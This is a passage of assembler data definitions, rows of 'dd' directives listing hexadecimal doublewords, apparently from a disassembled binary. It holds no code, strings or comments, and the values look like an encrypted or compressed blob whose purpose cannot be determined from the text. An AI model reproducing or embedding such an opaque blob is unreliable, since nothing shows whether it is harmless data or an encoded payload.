9B67FA3h, 4AC96828h, 584AD69Ch dd 7B098EABh, 2A3C024Ah, 0ADFB2DE9h, 0F7E7AE51h, 0BF72038h dd 3DE28609h, 8D08D2F1h, 0AD422DAEh, 4C4A5842h, 2D70E5DFh dd 5600A745h, 258D6853h, 107A4C9Ah, 5C0CF307h, 205D39F9h dd 9C867B4Ch, 3EE91389h, 6ACBBB96h, 54DE2F7Eh, 338B295Bh dd 0B94E55E3h, 68E4E190h, 544CBB3Bh, 0A0CB5F2h, 6DEC380h dd 0EB283C5Ah, 0B307EB72h, 50905966h, 0C3E065B0h, 353AE4B4h dd 0A4FA0EDFh, 0D80AF75Dh, 8DEFC197h, 63AC6C12h, 0B1AFEC4Ah dd 0E04D497Bh, 48369340h, 0A0614E5Ah, 150368A7h, 0E9596B4Eh dd 69A7FC84h, 20C4D94Ah, 274890B5h, 17C2D37Fh, 8280099Fh dd 397604EEh, 6E47A4Ch, 6829137Fh, 3CAA7718h, 0C44F078Dh dd 58080CB0h, 342F4864h, 4755C05h, 0BCE82793h, 22BC0472h dd 0FFED4129h, 0A98C3D13h, 68EB2F47h, 8267CFC5h, 0F66B605Dh dd 0ED0426D0h, 0E3B017AFh, 8BAD23Ch, 0AB254D79h, 568E044Dh dd 0FAEC5B09h, 98BFAB20h, 0B9052D62h, 5C5859D6h, 607AFE55h dd 0F4802AFAh, 0E639888Eh, 0B580CE58h, 0E72852C5h, 0CED6EDF9h dd 86532F99h, 0B701E4h, 1D0A937Ch, 5A50FE6Bh, 2D95222Ah dd 1879F95Dh, 77B49B6Bh, 0B05B60F0h, 0BB3A30F3h, 128533DEh dd 0F78BE34Ah, 5836F34Ah, 1DEA4A15h, 5B5E8035h, 9E685155h dd 976A72h, 2E92E19Bh, 1D0E76B4h, 572887F1h, 242CBD50h dd 65102AFDh, 2AAB800h, 0A63548D0h, 6EE57316h, 7EC3FF13h dd 538BB154h, 4814F72Fh, 6B5B55B9h, 0B285A794h, 0ECD3CFA8h dd 53208EF5h, 0BD5388h, 2F985FB8h, 2B99CD81h, 0F216972Fh dd 0EAC30067h, 0EB2987A0h, 0F0B5CCE9h, 84BB5742h, 3995277Dh dd 0C3885A51h, 1D2E248Fh, 4B2ADE05h, 350DEE01h, 7BDB027Fh dd 892F415Dh, 0CF7FB27Ah, 0C1F98F51h, 0BAB4E9CEh, 0F516402Ah dd 55A2E8D5h, 0DE9D58E2h, 0B22A458h, 9B057CFAh, 59C1F2B1h dd 571E2466h, 0C9F28087h, 5F915992h, 44E43C44h, 9909642Ch dd 0DD967989h, 0C6A7DCC7h, 90C903Eh, 60540D06h, 0B94B80F5h dd 43FDD62h, 0CA40CC25h, 5142C049h, 7462F4E9h, 57EA0942h dd 24A03316h, 8B0920F4h, 0F0D3F76Fh, 0E05CA1B0h, 0DCCD0101h dd 50964C18h, 0F311848Bh, 0A902AF51h, 53F79CB9h, 107F25AFh dd 70A068C0h, 96F5953Bh, 0E594B7D3h, 7245204Fh, 0C52065AEh dd 4863B8E7h, 0F70E3760h, 44292B87h, 0B71803F8h, 0CC74B3B4h dd 0A3B65E05h, 5F1161F1h, 0EABDD987h, 64729228h, 0A850DAE8h dd 39BE02F3h, 7D69EA52h, 6F4D1E2h, 3A135913h, 292FA19Dh dd 0AC33206Eh, 12CC724Fh, 9A4B54B2h, 76472473h, 0EEB40A18h dd 955E5297h, 0D2D4E9F0h, 0BCE643B3h, 0FAED7960h, 4DA1F4h dd 551C04B2h, 63F975BDh, 3CE06AEFh, 7EF49701h, 49685285h dd 59E9A8F0h, 0B94A5B0Bh, 0BCCC84D8h, 0CBC95A0Ah, 7CDB05F7h dd 0D4CE236h, 13280B56h, 9A282D61h, 0C0F0D707h, 9533F200h dd 45E9B8B3h, 0AD9A994Ch, 49C28D14h, 0FA016858h, 0AE382078h dd 8083B604h, 7182BEF6h, 41BF0792h, 205B8A67h, 0B74DBD7Ch dd 787041Bh, 6D8219A6h, 4E99CB08h, 0A3099115h, 0D90900B3h dd 5B68715Bh, 19DDF678h, 0C51345B8h, 0AA5CC6DCh, 13EEF45Dh dd 1B60EA53h, 58015FFBh, 0AAB56EDEh, 29177CE3h, 0B566A8DAh dd 861CC00h, 32E95E9Dh, 0E8A3A24Fh, 71E64D7h, 3A02D835h dd 9EE3A20Ch, 970B914Bh, 0B0299468h, 9DCA338Eh, 0A9CBC6F9h dd 0AAD58438h, 2FD7E813h, 6C10C121h, 5A0B182Ch, 9554E668h dd 0FDA7C19Dh, 7704C2A9h, 0C0BA13B4h, 805E4563h, 424A3C7Dh dd 0B15C6683h, 352EBC19h, 68794267h, 57900A84h, 0FE9D96A1h dd 0EAF15B94h, 0C7B67F84h, 1D0D2B1Bh, 5E5E8C4Ah, 10B533C5h dd 6BDD2E1h, 12E2EB8Dh, 0F7076ECAh, 4CE46FC8h, 2E83DDEEh dd 0F052FC5h, 9C2897B6h, 75A43868h, 2565AF5Bh, 76CA5680h dd 2FCE2C81h, 9410144Fh, 6418A948h, 1EE73DACh, 0CAFA989Fh dd 334C016Ah, 0A59043BFh, 2B01314Bh, 66F75F5h, 87BA7E9Fh dd 70A1E709h, 0E23EE252h, 6763D52Eh, 38A0065Fh, 0CE7D0917h dd 4BF889F8h, 77919CC1h, 0AD3C2265h, 9C831200h, 5EF58929h dd 530382B6h, 8A320868h, 0ECC35044h, 4F9E0437h, 0FFCBD6E9h dd 5D14A432h, 3E9E4D1h, 5E3427A6h, 0B007A00Ch, 0C22C1DBEh dd 31B3AE88h, 6CF0CD0Ch, 0FB06C40Dh, 0DAC740FFh, 52E570Ch dd 5C445925h, 11620859h, 0F5A88913h, 1F61B704h, 7C0EBEBh dd 76148C71h, 11248B29h, 0F4274858h, 0A80194B2h, 0B0F04125h dd 95EB3CBFh, 681821F5h, 0A66E7C83h, 3E7D153Fh, 91B20009h dd 4DE923B3h, 3D5EB5A2h, 0BE91DEA7h, 0FFA1C913h, 2443375h dd 1CF25E50h, 21F40093h, 0E91DBA18h, 0DF837A2Fh, 3D902F16h dd 7672901h, 0DF97E97Dh, 0AF5E2893h, 2F2FE98h, 0E934E707h dd 0E65E59C8h, 6B6B0B2h, 0F8B0515Ch, 0D477DB27h, 34C46B2Fh dd 47DFF712h, 97FFB7EEh, 0B01EE6ADh, 4C32DE0Dh, 3040647Ch dd 0F658C209h, 168A78D2h, 0FAE2281Ch, 0E913ED2Eh, 2CCB8132h dd 696FDC84h, 0ED268092h, 0AA125508h, 1003D023h, 1805E633h dd 4B24EFC1h, 0ED59C933h, 179A1FDh, 0B24252F5h, 284959A5h dd 0F2C644BBh, 0E753AF0Fh, 0BAE2651Fh, 0E5BF39FAh, 76F86A0Ch dd 68FFE9F1h, 44E34AB0h, 0A4F7FC5Ah, 975DE2EBh, 27E947B0h dd 3DE87EE5h, 0D60511DFh, 1B4A684Fh, 0A081CA8Ch, 1673C7E3h dd 15A238Ah, 69685726h, 4BC03F01h, 0B2C7E956h, 0D62924A6h dd 426E1702h, 442ADE51h, 6DF1FA40h, 97917F95h, 0CA676FB5h dd 0C2D03ECh, 5C4017D3h, 72024A6Ah, 93E948B9h, 89F5569Bh dd 0EEFFDEB6h, 5525028Ch, 0E8C17681h, 0A94C9260h, 2F15C7B5h dd 0EA04037Ch, 0E3EFD588h, 0CAF63C3Ah, 16FE6AF0h, 0D1F586CDh dd 68B27201h, 841E96F6h, 519E2B89h, 0D9F70C06h, 832F5D0Bh dd 201BF0C5h, 2D003A9Bh, 4D906675h, 3A7FA705h, 359E1040h dd 80FD263h, 68128CE8h, 0A45487EBh, 7D74B35Ch, 0F221330Fh dd 4E8AA678h, 6569252Fh, 59140AE5h, 338F249Fh, 0EBD17705h dd 5B89CEB8h, 0D80589DDh, 121E16CBh, 4D32036Ah, 0C18C276Ch dd 6A0CFDA5h, 80E432CDh, 9647BF7Bh, 51C20185h, 0D32DEC0h dd 5B59795Fh, 0F276DCCAh, 6E8D7AFBh, 3E02B57Fh, 0BC939CA2h dd 0DAB95B01h, 6931EBF4h, 757B8D85h, 0D4E3EBBDh, 7039ABD7h dd 322CAE2Fh, 382DE751h, 9FF43220h, 0CBA2135Ah, 0E4934B3Ch dd 61CDBFD2h, 5E94DB7Ch, 91207E2Fh, 32C61B52h, 1E970CC1h dd 0C13E7176h, 4723781h, 998B74B4h, 0AB6F1296h, 3835CF31h dd 0FC7E04F5h, 2A76047Ah, 65AA4C30h, 4B7EE74h, 2F05B64Fh dd 0AD7D857h, 62BA698Eh, 6EF00B7h, 5EE92788h, 298EA64Eh dd 2161680Bh, 9115AFB0h, 0FA34A0D7h, 230DEB4h, 0E9148301h dd 0A2564607h, 82866678h, 61B0F300h, 0CC12B11h, 21AE6F77h dd 0C218BC38h, 0B0EF4390h, 637FFD1Eh, 710834CBh, 495FEBDDh dd 0AAE9E917h, 5E8A3C6Fh, 0E1D1519Fh, 2B8786E9h, 529F9D0h dd 4009E408h, 0F40CF6DEh, 0C63484Dh, 1274182Fh, 569EBA4Fh dd 892B1617h, 29811CA9h, 38C3E9DFh, 682575F8h, 8008385Eh dd 209616EFh, 50BA61F8h, 27EC2F54h, 9ABA52F0h, 0D600704Fh dd 0C617A4EAh, 0B7D17622h, 1435CFE0h, 0F819202Fh, 9B581864h dd 6FA40C0Dh, 1F0550Bh, 5CCD9D5h, 0BE714268h, 59BA5460h dd 521C3F95h, 0B775D882h dd 26C25A54h, 7FE18560h, 1DA82D80h, 40460411h, 0CE37140Ch dd 1C064721h, 5DF0E958h, 192505F0h, 800F451Bh, 0D762B63Eh dd 0E9494809h, 67C9FF5Ah, 378C3007h, 0A1615181h, 5902CF28h dd 0BF21DF2Dh, 8ACC5640h, 3319F597h, 0D2DA2555h, 8A4055C2h dd 0D09F33CAh, 0B817349h, 0CC35FB78h, 0A72F5C41h, 8B8556BBh dd 0C4C64D61h, 5904B32Dh, 26288E1Dh, 0D6CAFE12h, 3F5B9A8Dh dd 0B54837CFh, 0D1A34D13h, 3F70EFFEh, 510CC253h, 0B645DE65h dd 8CC580B9h, 53901F7Ah, 0FB688A0h, 0A9F261C0h, 902C4530h dd 0A20F952Fh, 0F68036E0h, 0F57C28E5h, 65C0D524h, 0E2624140h dd 5E06F61Dh, 512FA4B5h, 84909D4Bh, 5F7DCA85h, 7483C104h dd 551A98C1h, 975A3F78h, 0C0037466h, 1494137h, 5097FAD7h dd 0C6FC97BBh, 38ACD18Bh, 826FF427h, 8276624Ah, 0A819E325h dd 5E2C1CE1h, 0D1D1A088h, 680350E6h, 3BA78B2h, 98C1E358h dd 280F181h, 0E9E524F2h, 0ADFF28EBh, 0A67036CAh, 0E4DD5888h dd 66EB3F74h, 0FCF38009h, 5B05BE56h, 8B833404h, 0B3AE06ADh dd 1AD8287Fh, 60C86FFDh, 817840E6h, 4675C704h, 2287163Eh dd 0B2568E11h, 906EB720h, 293B122Eh, 8AA10FAh, 0EADD9C5Ah dd 7F303704h, 0FE825033h, 1959D5F5h, 7899AB4Fh, 5B709D04h dd 7AF9C780h, 0A58F132Fh, 77B8CC89h, 0F316B54Ch, 0A2EAB5Eh dd 8618931h, 0A025B562h, 2A7C17BDh, 7F3E6CBh, 48866856h dd 0C500EB54h, 4B3C67CEh, 39D7940h, 0E9640539h, 322D9243h dd 239EF55Ch, 0A7973A0h, 2DC3659Dh, 0F30AB646h, 0EC65031Bh dd 0C0480C3Ch, 1FEC0C2Bh, 166E622h, 736D5BC9h, 0A5D13028h dd 0D7888212h, 4B410AB1h, 332D32C9h, 0D9251420h, 66F0F91Eh dd 23243056h, 42CF638Dh, 87678735h, 4F1254D4h, 34795505h dd 4A4209h, 7B78A99Eh, 0BEE97232h, 0ED7E2D46h, 86FF153h dd 2D5CE6Fh, 3211AA05h, 0FB087F7Fh, 0BF570007h, 643C53E7h dd 290B89A0h, 31334F0Ah, 42EA23CFh, 1CE5314h, 219C2D5Dh dd 0EAD4317Dh, 146D7619h, 705F829h, 5611A275h, 505D6261h dd 0D92080F2h, 0EE597A99h, 7A024D66h, 888E7785h, 1A1E07D1h dd 0CAD8162Ch, 78C68017h, 539125BFh, 2CC03DDAh, 851FCCC1h dd 2DFCED45h, 343D256Eh, 0D28C2156h, 9EA55B8h, 28886ACDh dd 0BB5EAFE2h, 1266EE88h, 3D61FF58h, 0FE04D97Fh, 5FD50A89h dd 0E9C2F128h, 2057A14Eh, 612D584Fh, 5F79282Ah, 26633A8Ah dd 1AD82913h, 0C0432980h, 7C286C32h, 497CDC8Ah, 0C00B1B02h dd 0C38F6E3h, 2DE84FC9h, 0A80E382Eh, 5D807F7h, 24D422CEh dd 889CBF01h, 5A32568h, 0F7729EF6h, 670C91A0h, 0E93C11B1h dd 0D55DCAF1h, 0C90143E4h, 465E3BEBh, 4C94A2FFh, 1DBD1D5Ch dd 0FA878BFFh, 0E4F94A75h, 5AC0A08Fh, 4ECA9A8Bh, 78D8F6DEh dd 8080F4B2h, 5DE83EABh, 29F486A4h, 17E9AEC2h, 24D50B4Ah dd 86FC4EEDh, 5462BE07h, 26460F9Ah, 24D66594h, 0B5F8EBBh dd 779389E9h, 45FC471Ch, 1D0E85Bh, 0F4E32808h, 516A5973h dd 2D0E005Eh, 19C06CB5h, 5511FB0h, 40EF2E07h, 0FE50B63Fh dd 0D60FF6C6h, 0C561B551h, 34FB3A39h, 0EEB6EFAEh, 815B79D4h dd 2B5F54D9h, 139BD6D8h, 833B545h, 53005C6Bh, 0CBB85057h dd 499F062Ch, 2E7B17BFh, 0BB88E09Fh, 3FF10A32h, 89A001EDh dd 0A9F2CBC2h, 89531A34h, 266F8280h, 4AB0F617h, 23CB4A7h dd 10366095h, 20DAB00Bh, 6A98B390h, 18C4CE83h, 95841EB6h dd 0A0E71ADFh, 0F22DC72Eh, 2306B539h, 0E913D355h, 39F4D1E2h dd 0F12B1EB5h, 0C3D6D34Bh, 50DB882Dh, 5ADD49Bh, 5E6D1EC5h dd 0E1DA392Fh, 39AA2B62h, 0FB8255E9h, 129218B3h, 7467E972h dd 3B14C54Fh, 0C9770B43h, 501A7662h, 331D0705h, 0D9476715h dd 1813E5Ch, 7472DF0h, 0F925115Ah, 0EEF197DFh, 0FD6BE73Dh dd 96E9C23Ah, 4B96FF5Fh, 0B62C8C90h, 0B941AF21h, 0B3BB351h dd 0C841041h, 0BDD4FB17h, 0E9570801h, 0D5693ABEh, 46E8E8D2h dd 54551290h, 8F178CFBh, 1BC384Fh, 768BDFB7h, 6DCEA2C8h dd 61BF2BE1h, 0C293EC89h, 0BE2A5BF7h, 0A8DA4793h, 5827C4F7h dd 36091214h, 93482BB2h, 0C9FD41C9h, 1F85C268h, 2C8EE1CFh dd 0E95DB097h, 9D30706Ch, 275C9657h, 0C673AAA0h, 57E79ABDh dd 0C3B9D716h, 25116C23h, 4C4DA4Fh, 84747582h, 0FD411289h dd 31A4E908h, 274F8C6Fh, 2F38279Ch, 55C31AF3h, 6885F779h dd 0C3A8296Fh, 9295E9C5h, 0C0D530DAh, 81F04848h, 0AD177B28h dd 5F678216h, 0A1C187B6h, 172B930Fh, 0B771BE90h, 5E69A271h dd 4CA7BF10h, 534209C9h, 1D08554Ch, 0E3E90507h, 374FFEFBh dd 4EEF0438h, 86D3FB13h, 78E9DF53h, 22BB04C5h, 0A0596E3Ah dd 3B05F316h, 89C290BEh, 46C490BFh, 1C4B2A11h, 2D8309F0h dd 0D3F6AAB3h, 4E4C5918h, 4F039A6Ch, 5C5FA9EFh, 0AA9414FCh dd 6B4B176Fh, 0DF40A3C9h, 58FB1065h, 0AB04EF06h, 0C050133Dh dd 7B5EA455h, 9B412728h, 0B24C5995h, 0A2558852h, 0E83BB302h dd 12E5BEC8h, 32695542h, 20DF2937h, 508FE6D6h, 0CE7660FBh dd 45534D83h, 0AAE0294Eh, 0AA6816DAh, 9EA66133h, 7C5AF572h dd 6A1E0971h, 822007Fh, 5B6DD327h, 94F1AC4Fh, 9E884BF4h dd 504D04BFh, 0C4316518h, 81308496h, 2EE12D23h, 0AA1A64BEh dd 57582BF2h, 8264A22Dh, 29325179h, 0F5F935C4h, 611BCE40h dd 0F5812C00h, 18A21C62h, 90C02AE9h, 0E5F305BFh, 0BB3EE46Ah dd 0A14512C8h, 922265AEh, 5A8BEB3Fh, 0CDD65D9Eh, 0C1000634h dd 68F802C3h, 0B0EDEC78h, 24C82FA5h, 823085Fh, 0B10AC52Dh dd 3BB443BFh, 88B1C1ACh, 20E228D5h, 16BB26A8h, 12BC31AAh dd 5B357EC7h, 0EBD505BAh, 0A23CE83Ch, 2BF9D879h, 8244D831h dd 0F612330Dh, 7E8B340h, 577E2502h, 0DF562EDAh, 79978452h dd 0ACF0C41Bh, 0F4BE0004h, 0C154C93Ch, 0D08095E6h, 6A686E87h dd 7C08D2B7h, 1D913167h, 6CD0FA56h, 68419EB0h, 74445059h dd 50148B7Ah, 2C317244h, 4EEE0C92h, 0AB8B247Ch, 0C76870FEh dd 8D25BF03h, 893CF923h, 857A276Bh, 0FA489562h, 0C17A14F0h dd 0B4508506h, 1F4E471h, 6A5BAEB0h, 0C0B731AFh, 60CB4D82h dd 19245A38h, 11094FD0h, 6C137739h, 3A9DE5C1h, 79E96724h dd 52661418h, 544F5868h, 0B2104EF3h, 5BEA4B02h, 92059EFAh dd 5F66804h, 0E2B61743h, 551C0451h, 0BB58E188h, 0B48EDBDh dd 0BB0B7303h, 0C1F7817Eh, 0D81A8457h, 49188AF1h, 0AA0C2C88h dd 3608094Ah, 67786AE9h, 26C2801Ch, 288CEAC5h, 0C188F4C0h dd 1C58BF58h, 7FE9C90Ch, 2DA56Ah, 2184713Eh, 0BB53E801h dd 8023201Ch, 0E9C982EDh, 49EB7F2Eh, 0B50F9B2h, 78D66813h dd 8692C3F2h, 2309BAD9h, 5676294Bh, 0FC9D1212h, 1AA35F09h dd 0F8E95281h, 4322A4C3h, 0F35DAF3Bh, 0FC88095Ah, 93EFDB10h dd 0B7E2B26h, 0F310E10Ch, 0FE0E1EC7h, 0F4F296CFh, 3F1AEB41h dd 60546D2Dh, 807E463Bh, 6913AEBEh, 7C1FE416h, 0DFFA7509h dd 82EB1A94h, 0DF68E09Eh, 65DE7C40h, 0FF6256BAh, 8BDFE604h dd 0FDCA6C93h, 872052C0h, 14564AF2h, 0B669983h, 39A0185Eh dd 0BB1D1591h, 0E7560Fh, 3BC51052h, 0E9C80B89h, 2E988EF3h dd 8815D1B1h, 41E859CAh, 6EC2DD99h, 0DF130A34h, 0E56BC9EAh dd 42D2CEB1h, 163F809h, 438D8F61h, 0C4248404h, 2D7E61B6h dd 976702C6h, 831A7FAFh, 8B5D6F7Dh, 0D8459DD9h, 6268550Eh dd 0E059662Fh, 828F5372h dd 26F7C55h, 1B276E8h, 0C644845Dh, 0A0B6A4D0h, 64F44828h dd 94F5E22Dh, 51F37AE4h, 0D42F8E60h, 0E504FEC1h, 50007CFDh dd 1528F868h, 9583213h, 41E2B3ACh, 0AD3D7D74h, 4937D3EBh dd 0EEE993DDh, 4F293E03h, 81D2645Fh, 825425F3h, 0E15BD20h dd 0D5675CEh, 0A9CF0049h, 4B6BE926h, 840BF2A3h, 0CA105AE3h dd 3F38D205h, 10D81274h, 1C600897h, 15A46E11h, 73E774B7h dd 920D622h, 2271DFE5h, 440F17Fh, 0AF02271Ch, 0FCA03456h dd 0B3DD294h, 98218187h, 0F880C1FEh, 73BF307Dh, 7B193DEBh dd 6F6624C6h, 84C95DA1h, 0B51B772Ah, 5EBBE8A0h, 0AC56D293h dd 0B8ABED84h, 51E8D7C0h, 0BF283318h, 708305D2h, 0B4F3745Ch dd 0ABB91650h, 0D6108998h, 0FEE9C5B7h, 9F2D26A7h, 903C02D3h dd 5F312197h, 3C6D40F9h, 50B8C9D5h, 9CD5954Eh, 522F261Ah dd 0E587994Bh, 0C0C788Fh, 0C32AF468h, 7A5441E5h, 45928A90h dd 0C5B601Ah, 7DFA9578h, 5AAEF49Fh, 5538017Dh, 0C823DDCh dd 74DE5A6Ah, 9DACAFFh, 141F0808h, 0D46EE90Bh, 50E680ECh dd 0F74B3A0Dh, 78D0DE5Fh, 354327C6h, 162822h, 54B2D846h dd 0B1BE3160h, 1803E985h, 952F4388h, 81FF9689h, 5BDD296Bh dd 25DDFD3Fh, 0B8CE2F53h, 0D85E597Bh, 3A5C9AA0h, 52BE4297h dd 0C5B9372Ah, 0E35569A1h, 0AA0C06F4h, 5A57172Dh, 8822690h dd 6A7E8641h, 0D9A7AAFCh, 6759760Bh, 0B701A448h, 1DF7803Ah dd 0D313B22Ah, 28E1D08h, 3916950Dh, 0AB012140h, 9D205D95h dd 84C95835h, 0D49D4D5Eh, 1FB6096Fh, 72EC827Fh, 295E0164h dd 9480E0FBh, 4BE47782h, 0A35ECDF4h, 1D247A8Ah, 55A800Dh dd 20C59133h, 99549F6h, 0BF0C6569h, 1E5B069Ah, 817E87F5h dd 6803B230h, 4BD4BDDCh, 5F02F25Bh, 7767BF59h, 10A94A08h dd 2AED4C50h, 0D8E60D0Eh, 0C178F698h, 2AC6CF58h, 12BC7E2h dd 0DEA038FBh, 0E7F78BAAh, 2AE727E8h, 939C55A7h, 64BD5505h dd 8E043F0Eh, 8803D96Ah, 779F51EBh, 81CB6753h, 0A6595BDEh dd 80C16904h, 0CB2BA9E6h, 171D3FE9h, 1D0BAFCFh, 0BDB156BFh dd 0D0C61E7Bh, 0EEBA7E28h, 0BD28BCBh, 771BA7E9h, 60A58098h dd 5A4AF72Fh, 0BE562866h, 0CCE9170Ah, 8FE3FC57h, 0C2FE65B2h dd 0A567E281h, 5F68C2Eh, 630FD41h, 612EF6DAh, 37840C7Ch dd 835ED804h, 8FB6EF5Fh, 0B568E982h, 0A2EA8356h, 784B1812h dd 0BF16655Ah, 9D7A9F4Dh, 0B3920BF8h, 1603E632h, 0E5C84059h dd 0F0242EBBh, 68893CA6h, 0BF563817h, 0B7711D66h, 2F8DE108h dd 0D20A88E5h, 5CA5070Fh, 1950853h, 4F29D3Dh, 0C049E38Eh dd 344F58EAh, 8CA0A1BDh, 0C6F32381h, 304E756Dh, 1D18579Fh dd 270C3828h, 2D8B7A0Eh, 80F8BBE9h, 38564C9Dh, 0AF4B8548h dd 0B66F0E79h, 7AD2107Bh, 44F58001h, 0D959EA30h, 6012ADCAh dd 9375581Ch, 0A0E21ECFh, 4AEE833Dh, 6C0531E2h, 0AE0DB86Eh dd 25E85E25h, 0CFE35D89h, 286DEEB5h, 0BFD30C7Eh, 0B90582Dh dd 0B005C60Bh, 0F4C25764h, 89D1080Bh, 8553F663h, 25AACAFEh dd 4542FF01h, 58D11675h, 2F10D250h, 27B30044h, 8079B252h dd 250FB8C2h, 3121E565h, 8B1E3F39h, 0F7B2D616h, 92F2A864h dd 0D37F25Fh, 235B7C97h, 0C2CB319Eh, 178E8DDh, 129F90C1h dd 0F0665225h, 2D183D07h, 150C6CE1h, 4C160429h, 0A74FDEE9h dd 87AE6255h, 0A7207584h, 32BF3FF8h, 6303D9Eh, 975DCD68h dd 6BD24A19h, 4E189AB2h, 7B8F971h, 4815721Eh, 0E8C2CED7h dd 13ED5C5Dh, 1E2CEE52h, 5A91E6DFh, 0B1C5AC3Ah, 5C348FD0h dd 4DF7E4CEh, 0B795845Ah, 0D1824F18h, 1A17D7E1h, 0DF084B67h dd 0A53174Dh, 0A5A37958h, 3E6F375Ah, 13148EF2h, 4289CDAEh dd 59F40FF9h, 5FD7296Fh, 49E752A2h, 95803346h, 0A62E3AC7h dd 5A009C61h, 81365907h, 377709E2h, 33D8147Fh, 0B8AFD0Bh dd 18A5431h, 6830C3EEh, 38AE2B69h, 8985DDB8h, 7FE023E9h dd 5902CAB9h, 8B68201Dh, 0E3A7B04Fh, 0A09173Ah, 0BB25015Dh dd 0FECED2DAh, 0A18EF140h, 53C7FC9Fh, 659D0494h, 58A247EDh dd 3608BC5Ch, 31E2402h, 26DB7254h, 9BC6E0DBh, 6FFB9813h dd 84CE230Fh, 40FCC20Ch, 0AB768AC4h, 0ED68D830h, 0AE2B914Ah dd 1C4627C4h, 6B09BCB0h, 5E05E435h, 1808A0A1h, 7BFEE95Dh dd 0EE9FC283h, 1E785ED1h, 0B7F5C12Ch, 7E49F1F6h, 6616DDA8h dd 10AC893h, 0DC27C37Ah, 28265273h, 98E52F5Ah, 973D1236h dd 0C404BB4Eh, 9DD4273Bh, 0F70ECAA9h, 0F03643DBh, 65605BC2h dd 0B436C375h, 53561F0Dh, 0EF290B5Dh, 712CAFCCh, 606C70DFh dd 2A7400D9h, 0AFB0BA1Ah, 60980BDDh, 0E2525B25h, 6840DF5Ch dd 0F4BFA659h, 0B951F881h, 990C0254h, 76296C10h, 272DB601h dd 3BFDE97Ah, 3BBF8A00h, 955EF91Bh, 93241022h, 3D4ADBDDh dd 0E6206F92h, 919AEEh, 0FA2AF7EDh, 0AD89370h, 0C0CBF57h dd 0A166F929h, 7675C4AAh, 4C1A58CBh, 0A15EBD92h, 0DEE1B58Dh dd 7A6656F6h, 61A90168h, 0EC18E124h, 0FEADF17h, 0E9E95BCCh dd 37CA6305h, 0A50C9EBDh, 1C164D69h, 95915375h, 0B502B3B1h dd 0E5E8F1C1h, 28C42BEFh, 2EA5F3EBh, 0BB81564Ah, 2D445341h dd 0EF270824h, 1805EF10h, 5A2E7148h, 0A92682FCh, 4BE9290h dd 0BB7C1667h, 56ADA51Dh, 0E960ADBDh, 5B4A8C1Fh, 7E84C9AEh dd 6C244F04h, 1A665AAh, 773BA43Bh, 9BD14031h, 124F6C41h dd 80630A5h, 5F14811Ch, 82B4D638h, 94798CBEh, 88E1B005h dd 667060AFh, 7FA5053h, 0F5D8F625h, 0E20BA1CAh, 0BFC8B657h dd 550B307Eh, 0EF0DD4B6h, 0BA99C16Ah, 38806B9Ch, 0F1ACAC4Bh dd 0A13D4E70h, 0B41E01D2h, 3022D55Ch, 6C3F1C81h, 9FB1CE75h dd 10A31283h, 0C4C1E58h, 9E21604h, 60255C01h, 0AA3C1DEEh dd 0AF080667h, 7337460h, 3B175D35h, 1FA5526h, 0EFAC2D9Fh dd 3BC46101h, 0B815F781h, 5BDF9851h, 58F3C67Fh, 23295A0Eh dd 3826E016h, 0BF407E37h, 1B1FC8D0h, 31C29F82h, 48C9E9C7h dd 2569BF35h, 0EEFD5538h, 825E9045h, 1100ADDh, 0B8347A19h dd 0FF6117E5h, 0C14FF2E8h, 578BBD14h, 8060CA42h, 0A9482A9Ah dd 77DD2FCCh, 281EE08h, 0A412EAC6h, 0C0F06255h, 12F4CB63h dd 4408785Eh, 0BEF67961h, 6C58AAB2h, 8724DA2Ch, 4930CFBDh dd 5DEBAB0Eh, 292A6877h, 7A77813Ch, 0C4A23712h, 62F56882h dd 2F2E4ED7h, 4F45BAA1h, 5C65B609h, 0F086082h, 0C9D94AB2h dd 46200406h, 55DF64E9h, 6EADEA54h, 7ACF8103h, 0C966C38h dd 0CE5A9209h, 5EC5264h, 71057CEFh, 2DB8F039h, 9338A09h dd 90FF643h, 824E4037h, 0D13FE98h, 0C3F0491Ah, 0E87A1DBDh dd 0FEE6810Eh, 611BCB67h, 0F830F85Eh, 0D6F71413h, 0FBFC13EAh dd 40EDD11Ch, 9C5E5AD7h, 0FE7FC5CEh, 51D72421h, 2570A26Ah dd 133AF904h, 1E94E27Eh, 41984849h, 3E272F94h, 0CE0219DCh dd 35982442h, 9D02EA07h, 55300057h, 0C0BF26BBh, 0C9B969FDh dd 68D7EF4Bh, 9F744121h, 68055467h, 38FF3DBAh, 4E4BD4DEh dd 60CA9DABh, 808253AAh, 520961CFh, 0B6209F69h, 77A8240Eh dd 50E910C5h, 0BD4AC4B8h, 0A4E9B36Fh, 53B0CF1h, 0D0A156F7h dd 34DD68F6h, 554D189Dh, 170C125Bh, 2F5DB131h, 0F16D2CBAh dd 2A8A674Bh, 0A30BA4Ah, 0B40C5FE9h, 0BF1F448Ch, 8FEE6E4Fh dd 0A52AEB27h, 812C651h, 76AF0007h, 290753BEh, 0E8444002h dd 28AC7FC1h, 0A15175C2h, 0A124BC01h, 0E27E4123h, 8040C12Eh dd 2169DC01h, 0E098AD5Eh dd 73632D5Ch, 139171Bh, 22F01C8h, 306E2651h, 5C13D922h dd 0F0E15678h, 25406061h, 90DB0F8Ah, 0C1164BA4h, 23012DCBh dd 3D7C7A79h, 45F014C9h, 1835005Ch, 0F7C3EB86h, 5F1D060h dd 75D17C82h, 57551639h, 7EC6C09Bh, 604AB418h, 801D0E5h dd 13464E9h, 0AE6E5EB1h, 40F68128h, 3F2D68F9h, 0C5E0EE29h dd 0AAD82110h, 0C7A01D34h, 313B414Ch, 97926BA4h, 0D0D8DD5Eh dd 71518C08h, 0E95A0236h, 8956BD21h, 733FDB84h, 7E1BBCAAh dd 1E40C4Eh, 4EE3B0F2h, 0E060BC81h, 1677C3B9h, 8129509Dh dd 6A711202h, 0BBCAA547h, 544A873h, 694B8C0Ch, 1695AC3Ah dd 0A617FC04h, 68DA02ABh, 6B4C1228h, 0E038B512h, 0B2E412AAh dd 93D63156h, 0C6108B3Eh, 6315BA4h, 40530C0Ah, 0A4294BC5h dd 0CA00841h, 7E91814h, 57E36D52h, 1B1F68ECh, 5A18FA58h dd 2E7A2AAAh, 70BA6E2Bh, 763F190Bh, 0A8E3007Fh, 0E915670Fh dd 0B774A84h, 32D90A58h, 50C47C69h, 2B12E5B8h, 8BEA713Ch dd 642D1ED7h, 57481DC5h, 0B6324C2h, 0AF2B9A05h, 0B0422429h dd 88B7687Ch, 894796FDh, 0BE8F483h, 1871E8C3h, 0D8ED4A4Fh dd 0C6FE0841h, 791F317Dh, 0DC2DB560h, 0D599C2B8h, 772B408h dd 282C680h, 77CC5AF7h, 0A698305Bh, 51E32A68h, 18B2166Bh dd 